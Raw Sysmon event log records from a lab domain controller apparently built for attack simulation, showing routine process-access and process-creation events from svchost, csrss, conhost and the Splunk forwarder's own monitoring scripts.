09:09:40.340{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002193Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.340{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002192Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.340{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002191Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.340{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002190Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.340{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002189Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.340{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002188Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.340{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002187Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.340{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002186Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.340{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-28D4-5F80-6200-000000007F01}3968C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002185Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.340{A5F018FF-28CF-5F80-2F00-000000007F01}25283908C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28D4-5F80-6200-000000007F01}3968C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7d35e7|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7cdcb9|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca4ec|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca0a3|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7c9f0d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6d7908|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6de2ee|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b29fa|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b4274|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e42dc|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ec682|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002184Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.342{A5F018FF-28D4-5F80-6200-000000007F01}3968C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinRegMon.cmd" --scheme"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000002183Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.231{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D4-5F80-6100-000000007F01}3480C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002182Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.231{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002181Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.231{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002180Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.231{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002179Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.231{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002178Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.231{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002177Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.231{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002176Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.231{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002175Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.231{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002174Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.231{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002173Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.231{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-28D4-5F80-6100-000000007F01}3480C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002172Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.231{A5F018FF-28CF-5F80-2F00-000000007F01}25283908C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28D4-5F80-6100-000000007F01}3480C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7d35e7|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7cdcb9|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca4ec|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca0a3|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7c9f0d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6d7908|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6de2ee|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b29fa|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b4274|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e42dc|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ec682|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002171Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.233{A5F018FF-28D4-5F80-6100-000000007F01}3480C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinPrintMon.cmd" --scheme"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000002170Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.121{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D4-5F80-6000-000000007F01}2280C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002169Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.121{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002168Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 